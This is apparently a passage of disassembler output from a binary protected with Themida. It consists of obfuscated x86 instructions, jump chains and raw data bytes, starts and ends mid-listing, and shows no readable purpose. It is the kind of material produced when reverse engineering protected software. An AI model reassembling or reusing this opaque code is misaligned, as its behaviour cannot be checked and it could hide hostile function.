56FFFF0Bh, 0C7FEFFBEh, 5EF03104h dd 3273E9h, 24248900h, 4BD55h, 6C010000h, 595D0424h, 0FF2CD4E9h db 0FFh ; --------------------------------------------------------------------------- loc_561685: ; CODE XREF: Themida_:00556A40j movsx ecx, ax push ebp mov ebp, esp add ebp, 4 jmp loc_56418D ; --------------------------------------------------------------------------- aAH db '´í±h',0 db 0E1h dd 75B65258h, 0CE9DFB3h, 5000003Eh, 42474FFh, 8324048Bh dd 0D9E904C4h, 59FFFF25h, 5E7C14Fh, 0C781D7F7h, 96C59BBAh dd 2241E9h, 682CBD00h, 0E8895C6Ah, 0FF39C0E9h db 0FFh byte_5616D5 db 68h, 0D7h, 60h ; DATA XREF: Themida_:0054FED0o dd 14890000h, 0E9B5E924h, 0EDC0FFFEh, 84ED8003h, 0E950EB80h dd 0FFFF1990h ; --------------------------------------------------------------------------- loc_5616F0: ; CODE XREF: Themida_:00554F2Ej add dword ptr [esp], 4 push dword ptr [esp] pop edi sub esp, 4 mov [esp], esi jmp loc_5644F6 ; --------------------------------------------------------------------------- dw 875Dh dd 5EE92434h, 2DFFFF10h, 19796C54h, 0D089DB35h, 0E9C1291Ch dd 0F90h, 2251EE81h, 0EE810DCEh, 6C9D2381h, 6D02B951h dd 0E9813DE6h, 7E011389h, 15B6E181h, 0E9814F27h, 29DF17F6h dd 2596E9h, 24343300h, 0FFE915E9h db 0FFh ; --------------------------------------------------------------------------- loc_561751: ; CODE XREF: Themida_:00553740j add esp, 4 add ebx, 0D416CD89h mov edx, ebx pop ebx push ebp mov ebp, 2B0A86D4h sub edx, ebp pop ebp jmp loc_5608AA ; --------------------------------------------------------------------------- dw 8159h dd 0A45083F7h, 1E75E914h, 0E3810000h, 67C1186Bh, 3C77F381h dd 814B1D97h, 5A3CC2E3h, 5A545256h, 4C281h, 0EA810000h dd 4, 31241433h, 69E92414h, 5B000032h, 8904EC83h, 0FEE9243Ch db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_5617B3: ; CODE XREF: Themida_:0055425Cj pop edx shl cl, 1 shl cl, 1 push edx mov dh, 9 add cl, dh pop edx dec cl sub cl, 33h jmp loc_551B87 ; --------------------------------------------------------------------------- dd 3F01EB81h, 0D9898D74h, 81BA525Bh, 891CD23Fh, 0C5815AD5h dd 7204983h, 0FF57AAE9h, 24148BFFh, 4C481h, 0EC830000h dd 1C6FE904h, 0E9500000h, 3B12h, 0FEE896E9h, 0E9D909FFh dd 0FFFFC87Bh ; --------------------------------------------------------------------------- loc_561808: ; CODE XREF: Themida_:005589E8j xor esi, eax xor eax, esi jmp loc_554866 ; --------------------------------------------------------------------------- db 81h, 0EBh, 9Fh dd 5E26E80Ah, 7D68C301h, 89000070h, 0C5BA2414h, 29335229h dd 0EB815AD3h, 5C4B4CF5h, 0B60F66h, 0FF5163E9h, 0C8966FFh dd 1A73E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561842: ; CODE XREF: Themida_:0055E6BCj push 1FF2h mov [esp], edi jmp loc_557878 ; --------------------------------------------------------------------------- a5s db '²5é·<',0 align 2 word_561856 dw 8B66h ; DATA XREF: Themida_:0054FE64o dd 0E3682404h, 0E9000048h, 0FFFF4FB0h, 0E924048Fh, 0FFFF8119h ; --------------------------------------------------------------------------- loc_56186C: ; CODE XREF: Themida_:005529EFj add esi, 4 sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], esi sub esp, 4 jmp loc_557E3A ; --------------------------------------------------------------------------- dd 57B68h, 24248900h, 0FF0892E9h, 242C89FFh, 1FEDE9h db 0 ; --------------------------------------------------------------------------- loc_5618A1: ; CODE XREF: Themida_:005594ECj push 5EF8h mov [esp], edi push ebx mov ebx, 41C7148h mov edi, ebx jmp loc_560B93 ; --------------------------------------------------------------------------- dw 0DAF7h dd 2221F281h, 0FDE906F7h db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push edx mov dh, 79h push eax mov al, 95h dec al not al and al, 29h add al, 0A5h or dh, al pop eax inc dh push ecx mov cl, 0A2h add dh, cl pop ecx sub bl, dh jmp loc_560031 ; --------------------------------------------------------------------------- loc_5618F6: ; CODE XREF: Themida_:005572E6j dec eax not eax sub eax, 542C8C3Dh jmp loc_55557B ; --------------------------------------------------------------------------- byte_561903 db 0FFh ; DATA XREF: Themida_:0054FDDCo dd 34FF2434h, 2434FF24h, 0FFD591E9h db 0FFh ; --------------------------------------------------------------------------- loc_561911: ; CODE XREF: Themida_:00562495j mov ebx, [esp] add esp, 4 pop ecx xor [esp+4], ebx push dword ptr [esp] pop ebx jmp loc_550AEC ; --------------------------------------------------------------------------- loc_561928: ; CODE XREF: Themida_:0055684Fj add ecx, 4 jmp loc_55C35E ; --------------------------------------------------------------------------- dword_561930 dd 24048B66h, 0FFBD98E9h, 240C8BFFh, 2643E9h ; DATA XREF: Themida_:0054FF4Co db 0 ; --------------------------------------------------------------------------- loc_561941: ; CODE XREF: Themida_:00558E7Fj mov ebx, [esp] add esp, 4 push 15FAh mov [esp], ebp jmp loc_5649BA ; --------------------------------------------------------------------------- loc_561954: ; CODE XREF: Themida_:00564686j not ebp jmp loc_554182 ; --------------------------------------------------------------------------- db 5Dh dd 6C6AC181h, 0BE56748Fh, 0D12F78E3h, 0FEE783E9h db 0FFh byte_56196D db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0054FFE8o dd 4EC8124h, 0E9000000h, 1A1Eh, 4C681h, 0EE830000h, 24348704h dd 0F39EE95Ch, 0EFC0FFFFh, 0E2C78007h, 0E7C0D7F6h, 48B55104h dd 80A9C580h, 0ED8060CDh, 59EF2844h, 0E95BFA28h, 0FFFF42D5h dd 4C281h, 0C2810000h, 4, 0FF062FE9h, 0E9F829FFh, 62h dd 0C15DEA31h, 0F28108E2h, 0C169912Eh, 0BAE9D009h db 0E7h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_5619DB: ; CODE XREF: Themida_:00550610j mov [esp], edx jmp loc_564F63 ; --------------------------------------------------------------------------- db 81h dd 4ECh, 24348900h, 392AE9h, 4E98300h, 0FFC9DAE9h, 39C381FFh dd 8B3EC818h, 0C481240Ch, 4, 687C68h, 241C8900h, 42474FFh dd 24048F5Bh, 6424248Bh, 74E90288h, 0F7FFFEE6h, 22A1E9D8h dd 575F0000h, 0D457E068h, 0F8295F20h, 3986E95Fh db 2 dup(0) ; --------------------------------------------------------------------------- loc_561A3A: ; CODE XREF: Themida_:005645D4j shl edx, 1 sub esp, 4 mov [esp], eax push 43D1h mov [esp], ebx mov ebx, 2E9F53D9h or ebx, 59504BA8h push edx mov edx, 74F46D82h add ebx, 69BD1DA0h add ebx, edx sub esp, 4 jmp loc_564ADA ; --------------------------------------------------------------------------- db 68h dd 71CB35F7h, 98EA815Ah, 573A0A7Ah, 96364568h, 56E95F65h dd 29FFFF8Fh, 0DF015AD3h, 4C7835Bh, 8B243C87h, 44E92424h dd 80FFFF50h, 0F78089C7h, 5BF8304Dh, 0FFB40BE9h, 2C8759FFh dd 14895C24h, 0E99C5024h, 0FFFEE5E3h, 0A7AFF781h, 0FE89DD00h dd 5EF3015Fh, 2206BF57h, 0FB2129BFh, 54C3815Fh, 0E9084523h dd 0FFFF02DAh, 68243489h, 6BFAh, 0E9241C89h, 0FFFFE5A0h dd 55E38953h, 1F05B3BDh, 0E9E5D156h, 0FFFF87E7h ; --------------------------------------------------------------------------- loc_561AF4: ; CODE XREF: Themida_:00558CF1j mov [esp], ebp jmp loc_5515F2 ; --------------------------------------------------------------------------- dd 0B8505B54h, 4, 8358C301h, 0E95304C3h, 0FFFF1D0Ch, 1CA768h dd 24348900h, 99327868h, 814E5E04h, 5E4926F6h, 5EF2893Ah dd 0FF0EAEE9h, 242C33FFh, 0E9242C31h, 0FFFF2FCCh, 4EB8159h dd 87000000h, 248B241Ch, 243C8924h, 70685051h, 581F7C0Eh dd 0F9210548h, 0C1892526h, 762E958h, 248BFFFFh, 57505624h dd 0AE0A59BFh, 247C315Dh, 505E5F04h, 11685553h, 5D709323h dd 0F704E5C1h, 5B7E9D5h, 4B80000h, 81000000h, 5B042444h dd 0E9270D7Bh, 0FFFF449Eh dword_561B94 dd 9D1C77FFh, 1CD25966h, 0F4E99C24h ; DATA XREF: Themida_:00550020o db 0E4h, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_561BA3: ; CODE XREF: Themida_:00562960j add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], ecx jmp loc_55AB6B ; --------------------------------------------------------------------------- dd 81242489h, 42404h, 0E95B0000h, 3847h, 0E924248Bh, 0FFFF1AE9h dd 6EB55166h, 5966EC30h, 34FFE230h, 0C4835824h, 42F8E904h dd 0EB81FFFFh, 6F6F6E6Fh, 0A2E9FB01h, 89FFFFD7h, 0DABA2414h dd 0E94F6D54h, 0FFFF483Fh ; --------------------------------------------------------------------------- loc_561C00: ; CODE XREF: Themida_:00554906j add esp, 4 push dword ptr [esp] jmp loc_550508 ; --------------------------------------------------------------------------- loc_561C0E: ; CODE XREF: Themida_:0055D304j mov edx, esi pop esi push 782Dh mov [esp], esi mov esi, 75BE24FBh jmp loc_55906C ; --------------------------------------------------------------------------- db 53h dd 0FF2B99E9h db 0FFh byte_561C29 db 68h, 0DBh, 29h ; DATA XREF: Themida_:0054FE44o dd 14890000h, 2396BA24h, 0F752593Bh, 0E95A2414h, 3A3Fh dd 0E904C483h, 0FFFF25B3h, 63BBE56h, 0EE8129EDh, 205F45ADh dd 0FF53C9E9h, 52E189FFh, 0A01838BAh, 34EA8164h, 8164A018h dd 0F27A51E9h, 0E9D1012Bh, 3554h, 4BB5359h, 1000000h, 39E95BDEh dd 5CFFFF3Fh, 0FF6FE5E9h, 51E689FFh, 0C181E189h, 4, 25F1E952h dd 0D2F60000h, 0E9F8C280h, 0FFFF53E0h, 81240C8Bh, 4C4h dd 5EF30100h, 4EC81h, 1C890000h, 2474FF24h, 48F5B04h, 0FF525C24h dd 5A042474h, 0FFC115E9h, 3EBF57FFh, 893CF238h, 0DAF75FFAh dd 8304EAC1h, 0E2C1FFC2h, 0E9505602h, 35F9h, 4BFh, 0CAE95500h dd 8B00001Bh, 0C4832434h, 0A591E904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561CFE: ; CODE XREF: Themida_:00557A7Ej xor ecx, 1FE74A59h mov ebx, ecx pop ecx add ebx, edx mov eax, [ebx] pop ebx pop edx push dword ptr [esp] pop ebx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_5620F4 ; --------------------------------------------------------------------------- loc_561D26: ; CODE XREF: Themida_:00556089j pop eax add eax, 4 jmp loc_55EBBA ; --------------------------------------------------------------------------- db 87h, 14h, 24h dd 242C895Ch, 0FF6F5AE9h db 0FFh byte_561D3D db 8Fh, 2, 0E9h ; DATA XREF: Themida_:0054FE74o dd 0FFFEE353h, 4AEC68h, 24248900h, 4240483h, 0E924348Bh dd 0FFFF3E01h, 5E08950h, 4, 0E904E883h, 0FFFF7564h, 0E9243C89h dd 0FFFFD668h, 58ED68h, 24248900h, 0FF8409E9h db 0FFh ; --------------------------------------------------------------------------- loc_561D7D: ; CODE XREF: Themida_:00553ED2j add ebp, 2F9279FDh shl ebp, 7 shr ebp, 8 neg ebp jmp loc_554FEF ; --------------------------------------------------------------------------- dd 0C8B665Ch, 0A4685624h, 0E900006Fh, 0FFFF2BD3h, 0C181D9F7h dd 0BC471EEBh, 7DB8C781h, 8E945F8h, 8BFFFFC0h, 0D1872424h dd 19E9D2F7h, 8100000Ah, 8195C3h, 8BD901D1h, 0C483241Ch dd 0FC1FE904h, 425DFFFFh, 0FF1C79E9h db 0FFh ; --------------------------------------------------------------------------- loc_561DD9: ; CODE XREF: Themida_:00559635j push edi jmp loc_560F6C ; --------------------------------------------------------------------------- loc_561DDF: ; CODE XREF: Themida_:005608E6j mov eax, [esp] push ebx push esp pop ebx add ebx, 4 push 6F14h jmp loc_55AA10 ; --------------------------------------------------------------------------- db 88h, 0EFh, 0E9h dd 0FFFF2041h ; --------------------------------------------------------------------------- loc_561DFC: ; CODE XREF: Themida_:00564DB1j mov edi, esp jmp loc_556402 ; --------------------------------------------------------------------------- db 97h dd 0FFA006E9h, 0E2814AFFh, 56EF3BE5h, 0EC83DAF7h, 242C8904h dd 8F12EEBDh, 0A9ABE973h, 0D830FFFFh, 0AE95455h, 0BEFFFF92h dd 72E838C8h, 15EF001h, 38C82DD8h, 0E95572E8h, 3539h, 0C8BEB30h dd 1BE95624h db 1, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561E4B: ; CODE XREF: Themida_:0055B2E1j add esp, 4 push 4797h mov [esp], ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_564B3D ; --------------------------------------------------------------------------- dw 0EA89h dd 0FF9BE95Dh, 5058FFFFh, 0BF57E089h, 205804B7h, 68h, 0B4D8E900h dd 0C483FFFFh, 0E9506604h, 0FFFF09FFh, 4C4835Eh, 1868C681h dd 0F0892C37h, 0FFCC8CE9h db 0FFh ; --------------------------------------------------------------------------- loc_561E9D: ; CODE XREF: Themida_:00550DCBj sub esp, 4 jmp loc_55E1EB ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 66BE95Ch, 0EB29FFFFh, 241C335Dh, 33241C31h, 0E95C241Ch dd 0FFFF2E51h ; --------------------------------------------------------------------------- loc_561EC0: ; CODE XREF: Themida_:00561253j add eax, edi pop edi push ebx mov ebx, 157C3417h or eax, ebx jmp loc_55C0A1 ; --------------------------------------------------------------------------- loc_561ED0: ; CODE XREF: Themida_:00562528j add ebp, 0FFFFFFFFh neg ebp jmp loc_555569 ; --------------------------------------------------------------------------- loc_561EDD: ; CODE XREF: Themida_:00556BEFj mov ebx, 0 add ebx, eax mov [ebx], ch jmp loc_559B68 ; --------------------------------------------------------------------------- loc_561EEB: ; CODE XREF: Themida_:0056443Fj sub ebx, 1C97332Fh sub ebx, 2BB1714Eh pop eax add ebx, 2 xor ebx, [esp] xor [esp], ebx xor ebx, [esp] mov esp, [esp] jmp loc_559772 ; --------------------------------------------------------------------------- db 53h dd 0D71FAA68h, 0D9895B6Dh, 0FF807FE9h, 48F5DFFh, 24248B24h dd 89241489h, 946850E2h, 0E923181Ch, 0FFFF2B1Ah, 4C481h dd 0C1810000h, 79CE710Ah, 427B685Eh, 1C890000h, 0A115E924h dd 0EC81FFFFh, 4, 0FFFE0FE9h, 4875BFFh, 0C6815C24h, 4 dd 454968h, 240C8900h, 0A260C1B9h, 0C5F1811Fh, 11FA260h dd 0FF5659CEh, 8B042474h, 0EC832434h, 243C8904h, 0FF64A6E9h dd 54FE05FFh, 148B1372h, 4C48324h, 0E9C58955h, 0FFFF58D0h dd 4C681h, 29E90000h db 78h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_561FAB: ; CODE XREF: Themida_:0055339Bj mov [esp], ebx push edi mov edi, esp push esi mov esi, 4 add edi, esi jmp loc_55ECD6 ; --------------------------------------------------------------------------- dw 5350h dd 0B75E8EBBh, 5BD8893Ch, 507E8C1h, 2EB8BDA9h, 3341EA81h dd 26E94A00h, 89FFFF63h, 0AFE9242Ch, 8BFFFF1Bh, 0E9532424h dd 0FFFEFBEAh, 0E9F22958h, 83Bh ; --------------------------------------------------------------------------- loc_561FF4: ; CODE XREF: Themida_:00551AEEj push ecx mov ecx, 40A87596h jmp loc_550391 ; --------------------------------------------------------------------------- db 68h dd 18D8h, 0E9241C89h, 0FFFEF649h, 3EBE565Fh, 4666D227h dd 8CB5E952h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56201A: ; CODE XREF: Themida_:005615CCj mov [esp], eax mov eax, 20000h jmp loc_553D1E ; --------------------------------------------------------------------------- db 68h dd 5D85h, 56241C89h, 0B850E689h, 266B15F3h, 0FF3BEFE9h dd 244401FFh, 246C8104h, 810DED04h, 0C8E95818h, 6600002Fh dd 8BE83058h, 0C483240Ch, 59686604h, 24E4E941h, 5F52FFFFh dd 8B5FF989h, 53E92414h, 68FFFFE4h, 9A2h, 54243489h, 4EC835Eh dd 0FF5027E9h, 48F5DFFh, 24248B24h, 0FFEC33E9h db 0FFh byte_56208D db 0FFh, 32h, 0E9h ; DATA XREF: Themida_:0054FFD0o dd 0FFFEE003h ; --------------------------------------------------------------------------- loc_562094: ; CODE XREF: Themida_:0055A0DCj mov esi, [esp] add esp, 4 sub edx, ebx mov ebx, [esp] add esp, 4 and eax, edx pop edx or eax, eax jz loc_550D44 push edi mov edi, esp add edi, 4 jmp loc_563DFC ; --------------------------------------------------------------------------- dw 0E7C0h dd 50F78006h, 8DE9FD88h, 30FFFF56h, 0D32859EAh, 0E924148Bh dd 0FFFFAD27h ; --------------------------------------------------------------------------- loc_5620D8: ; CODE XREF: Themida_:00559D99j xor ebp, esi jmp loc_55AC10 ; --------------------------------------------------------------------------- loc_5620DF: ; CODE XREF: Themida_:005595AFj push ecx mov ecx, esp jmp loc_563E4F ; --------------------------------------------------------------------------- db 80h dd 0C22821EAh, 0E921C280h, 0FFFF903Fh ; --------------------------------------------------------------------------- loc_5620F4: ; CODE XREF: Themida_:00561D21j push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] push dword ptr [esp] jmp loc_55F91E ; --------------------------------------------------------------------------- aRso1 db 'Ré®1',0 db 0 ; --------------------------------------------------------------------------- loc_56210B: ; CODE XREF: Themida_:00551107j add esp, 4 push esi push 3FFFh mov [esp], ecx mov ecx, 53466803h jmp loc_553B9B ; --------------------------------------------------------------------------- aXhJ db 'XhÜJ',0 dw 0E900h dd 11E4h, 997F8568h, 24348B43h, 0FEE051E9h, 62ED81FFh dd 89A98259h, 1EEAE9EBh, 0E700FFFFh, 0C8E78058h, 0FEF298E9h db 0FFh ; --------------------------------------------------------------------------- loc_562151: ; CODE XREF: Themida_:00556E8Dj xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_5599DB ; --------------------------------------------------------------------------- loc_562160: ; CODE XREF: Themida_:00559A2Cj add edx, 4AAC1B3Bh jmp loc_551197 ; --------------------------------------------------------------------------- db 89h dd 4BB241Ch, 52000000h, 5760C1BAh, 44F28112h, 0E97DB837h dd 0FFFF6FFFh, 1892E381h, 0F3811718h, 418C3D37h, 0F75BDD31h dd 1FF581DDh, 897E4E31h, 242C8BE8h, 0F704C483h, 6DBF57D0h dd 1059905h, 9862E9F8h, 814EFFFFh, 377856EEh, 81D6F777h dd 0AA482DF6h, 5EF02990h, 48BC701h, 0F64E924h, 0EC83FFFFh dd 24048904h, 1805E951h, 0CE890000h, 0FF4759E9h, 0DDF75DFFh dd 0D9E9EF87h db 0B0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5621EB: ; CODE XREF: Themida_:0055F54Cj mov [esp], ebx push edx push 6C25h mov [esp], esi push ebx mov ebx, 7EAB6346h neg ebx and ebx, 54EF26BCh shl ebx, 7 xor ebx, 5EF32BD9h push ecx mov ecx, 38A82011h shl ecx, 2 jmp loc_55CF60 ; --------------------------------------------------------------------------- dd 68240489h, 28C97508h, 8324048Bh, 0BAE904C4h, 89000022h dd 0BABE2434h, 0F74AD444h, 35E681D6h, 0F74E3919h, 0E9DEF7D6h dd 0C97h ; --------------------------------------------------------------------------- loc_562248: ; CODE XREF: Themida_:0055F7C3j xchg edx, [esp] pop esp mov [esp], ebp mov ebp, esp push esi push edx mov edx, esp add edx, 4 sub edx, 4 xchg edx, [esp] pop esp mov [esp], eax push ecx jmp loc_551467 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 8904EC83h, 0FB89241Ch, 0D9895150h, 5659C889h, 0F289C689h dd 0FF2EE1E9h, 0B05059FFh, 43FE94Ah, 0EE29FFFFh, 0E696E95Dh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56229E: ; CODE XREF: Themida_:00564881j inc ecx xor ecx, 5C6B702Fh add edx, ecx pop ecx sub esp, 4 mov [esp], esi mov esi, 69200799h sub edx, esi pop esi add edx, 14FA5301h sub edx, 61ECFDBDh jmp loc_55F49F ; --------------------------------------------------------------------------- dw 0E981h dd 734E0E14h, 3359CD01h, 2C31242Ch, 242C3324h, 0FE24248Bh dd 0E99C2404h, 0FFFF2EACh, 645314B8h, 0E9C60177h, 2DF2h dd 3BFAEA81h, 0A9680166h, 89000001h, 66B82404h, 12F322Ch dd 0CE5EE9C2h, 0E957FFFFh, 0FFFF2DC7h ; --------------------------------------------------------------------------- loc_562314: ; CODE XREF: Themida_:0055EE38j mov [esp], eax push esi mov esi, 73E01772h jmp loc_5652CB ; --------------------------------------------------------------------------- dw 0C280h dd 80CA285Ah, 0C2805AEAh, 0B45059F7h, 0ABEC8013h, 8075CC80h dd 91E98BCCh db 0F8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56233F: ; CODE XREF: Themida_:00555564j push edx mov edx, 5339463Ch not edx shr edx, 1 shl edx, 8 jmp loc_553525 ; --------------------------------------------------------------------------- loc_562351: ; CODE XREF: Themida_:005505E5j pop ecx add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_559FD2 ; --------------------------------------------------------------------------- db 81h dd 0D72987F6h, 1859E93Ah, 5557FFFFh, 0FF458FE9h, 0E78957FFh dd 4C781h, 0C7830000h, 243C8704h, 15F1E9h, 0E9E28900h dd 0FFFFE0FCh, 4BB53h, 0DD010000h, 4EC815Bh, 89000000h dd 60E92404h, 81000020h, 4ECh, 242C8900h, 0FFFFFFBDh, 5DEA29FFh dd 52E9D2F7h db 0B0h, 2 dup(0FFh) byte_5623BF db 0FFh ; DATA XREF: Themida_:00550048o dd 44E92434h, 31FFFEE3h, 24048BC2h, 132EE9h db 0 ; --------------------------------------------------------------------------- loc_5623D1: ; CODE XREF: Themida_:005591B7j add eax, 4 xchg eax, [esp] pop esp add eax, 4 push edx jmp loc_55BF25 ; --------------------------------------------------------------------------- db 51h, 81h, 4 dd 0D56AA624h, 0EF815F35h, 35D56AA6h, 0FFF375E9h, 586866FFh dd 66586670h, 0D3F76693h, 5669366h, 5666C1Ch, 5665862h dd 35666094h, 2966D7B7h, 1C8B58C7h, 0E7895724h, 0FFA7E2E9h dd 241489FFh, 55E95053h, 88FFFF91h, 0B05058C2h, 58C228FFh dd 5A66D588h, 0E902EDC0h, 0FFFFE112h, 4C481h, 48E90000h db 0DCh, 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56244F: ; CODE XREF: Themida_:0055C110j mov ah, 77h add ah, 57h dec ah jmp loc_553D9C ; --------------------------------------------------------------------------- db 89h dd 74FF2404h, 8F580424h, 248B2404h, 241C8924h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx push 3C4C7267h push dword ptr [esp] pop ecx add esp, 4 not ecx inc ecx sub ecx, 87F9784Dh push ecx jmp loc_561911 ; --------------------------------------------------------------------------- loc_56249A: ; CODE XREF: Themida_:0055A780j pop esi jmp loc_553952 ; --------------------------------------------------------------------------- loc_5624A0: ; CODE XREF: Themida_:0055B07Cj add esp, 4 push eax mov eax, 72784454h sub edi, eax push dword ptr [esp] jmp loc_55BE9D ; --------------------------------------------------------------------------- loc_5624B6: ; CODE XREF: Themida_:00555B1Aj sub esi, 4 xchg esi, [esp] jmp loc_563F20 ; --------------------------------------------------------------------------- db 81h, 0F3h, 3Dh dd 8120FF77h, 4702E6EEh, 81DE013Fh, 4702E6C6h, 2FF4E93Fh dd 5352FFFFh, 5511E950h, 0C181FFFFh, 4, 5C240C87h, 4EC81h dd 1C890000h, 1BF06824h, 815B4C8Ah, 8A1BF4F3h, 39EE814Ch dd 1059267h, 3ED5E9DEh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56250E: ; CODE XREF: Themida_:00554450j pop edi add esp, 4 push 781h mov [esp], ebp mov ebp, 2F8E20F4h sub ebp, 55C52BEh jmp loc_561ED0 ; --------------------------------------------------------------------------- a5rO db '5R×o',0 dw 0C589h dd 8124048Bh, 4C4h, 0FFE82900h, 535D2434h, 0C381E389h dd 4, 0E904C383h, 0FFFF3CF6h, 243C895Ch, 0EC835F54h, 241C8904h dd 4BBh, 5BDF0100h, 0FFAA3DE9h db 0FFh ; --------------------------------------------------------------------------- loc_56256D: ; CODE XREF: Themida_:0055AC14j not esi push ebp jmp loc_560FFD ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0E2895259h, 0FEE8D6E9h, 0FCBF57FFh, 4737E23Ah, 1379C781h dd 0FB29227Fh, 0FEE6E3E9h db 0FFh ; --------------------------------------------------------------------------- loc_562595: ; CODE XREF: Themida_:0055C4DFj pop edi push ebx mov ebx, 73FF4E5Ah not ebx inc ebx inc ebx jmp loc_554E2F ; --------------------------------------------------------------------------- db 83h, 0C4h, 4 dd 14D9B850h, 14E977B4h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5625B3: ; CODE XREF: Themida_:005580E1j mov cl, bh sub esp, 4 mov [esp], eax sub esp, 4 mov [esp], ecx mov ch, dl jmp loc_563707 ; --------------------------------------------------------------------------- db 5Dh dd 5524048Fh, 4BDh, 0BA62E900h db 2 dup(0FFh) word_5625DA dw 34FFh ; DATA XREF: Themida_:0054FEE4o dd 2434FF24h, 8124048Bh, 4C4h, 4EC8100h, 89000000h, 0E389241Ch dd 27685056h, 5858004Ah, 507E8C1h, 7C9610ECh, 8158C689h dd 46117CEEh, 2F21E97Dh, 34FF0000h, 543E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56261A: ; CODE XREF: Themida_:0055E1BCj pop esi mov ebp, ebx push dword ptr [esp] mov ebx, [esp] add esp, 4 push ebx mov ebx, esp push ecx mov ecx, 4 add ebx, ecx pop ecx add ebx, 4 xchg ebx, [esp] pop esp mov ecx, ebp push dword ptr [esp] mov ebp, [esp] jmp loc_552AD3 ; --------------------------------------------------------------------------- db 5Dh, 31h, 0D6h dd 0E9F0315Ah, 0FFFEEC89h, 5C243C87h, 81242489h, 42404h dd 51580000h, 1CC568h, 242C8900h, 8904EC83h, 0CCE92434h dd 56FFFF15h, 0C681E689h, 4, 8704EE83h, 1DE92434h, 8BFFFFC5h dd 0C4812404h, 4, 4EC81h, 2C890000h, 4EC8124h, 0E9000000h dd 0FFFEE308h, 0E9555854h, 0FFFF7419h, 59CF2158h, 480EF81h dd 0EE810CC1h, 7D35441h, 0C681FE01h, 7D35441h, 0FF3001E9h dd 22EF81FFh, 0E9434F54h, 0FFFFBC9Ah, 54243489h, 0FFBA88E9h db 0FFh ; --------------------------------------------------------------------------- loc_5626E1: ; CODE XREF: Themida_:00562EADj pop edi add edi, 1E2299BDh sub ecx, 14CD5EB1h add ecx, 647C42C4h sub ecx, edi sub ecx, 647C42C4h add ecx, 14CD5EB1h push dword ptr [esp] pop edi jmp loc_55DAFF ; --------------------------------------------------------------------------- db 51h dd 41F2BA52h, 0D1894B5Eh, 0FF3474E9h, 240C89FFh, 59B768h dd 48F5400h, 50DCE924h, 8166FFFFh, 0F10F9C3h, 6866C0B7h dd 3BE90DECh db 15h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56273B: ; CODE XREF: Themida_:005609ECj mov ecx, [esp] add esp, 4 push esi push 4 pop esi jmp loc_563263 ; --------------------------------------------------------------------------- db 0FFh, 74h, 24h dd 48F5D04h, 4895C24h, 7BEFB824h, 0C3313F7Bh, 6E3C158h dd 243DBF57h, 5E917DEh, 0F6FFFF28h, 0B45051D7h, 2E4C04Fh dd 53B0EC80h, 0DC2801B3h, 37E4805Bh, 885DEC80h, 0A2E958E1h db 52h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56278F: ; CODE XREF: Themida_:005539F1j add ebp, 4 xchg ebp, [esp] pop esp sub esp, 4 mov [esp], ebx push esp mov ebx, [esp] add esp, 4 push 7015h mov [esp], eax mov eax, 4 add ebx, eax push dword ptr [esp] pop eax add esp, 4 push eax mov eax, 353919E8h add eax, 0FFFFFFFFh or eax, 6E740F0Ah jmp loc_55F476 ; --------------------------------------------------------------------------- dd 0CA31D131h, 0FFD153E9h, 6BF681FFh, 2DC34FA5h, 14E62178h dd 7805F001h, 8B14E621h, 6DE92434h, 89FFFEDAh, 0B951241Ch dd 3D280E8Ch, 0D8301EBBh, 0FF0FE911h db 0FEh, 0FFh ; --------------------------------------------------------------------------- loc_56280E: ; CODE XREF: Themida_:005607ECj push esp pop edx add edx, 4 add edx, 4 xchg edx, [esp] mov esp, [esp] xor edx, 7A5317B7h and eax, edx jmp loc_5502FC ; --------------------------------------------------------------------------- db 81h dd 0B01680EAh, 2434FF5Ch, 0E089505Eh, 0FFEA76E9h, 0FF665CFFh dd 0E99C2404h, 0FFFED84Bh, 781AB951h, 0CA895930h, 33A2E959h dd 0D801FFFFh, 0B152C705h, 0C7015B7Dh, 0E92434FFh, 0FFFFD0E8h ; --------------------------------------------------------------------------- loc_56286C: ; CODE XREF: Themida_:0055CF5Bj mov ecx, [esp] add esp, 4 mov edx, ecx jmp loc_55611E ; --------------------------------------------------------------------------- dd 20EFBF57h, 0FB293171h, 684B5Fh, 0E9000000h, 0FFFEF6ECh dd 0F23A6668h, 24148B48h, 8904EC83h, 0E6892434h, 4C681h dd 35E90000h, 51FFFF6Ah, 0C181E189h, 4, 4C181h, 0C870000h dd 0BA525C24h, 1C2C269Ah, 0EE9D029h, 5CFFFF6Dh, 8140478Fh dd 4ECh, 24148900h, 6300CE68h, 0DAF75A6Bh, 4B97B951h, 0F9E935EDh dd 2CFFFFE2h, 0B7535141h, 0E3E5E9D8h, 4BEFFFEh, 1000000h dd 0C7835EF7h, 243C3304h, 33243C31h, 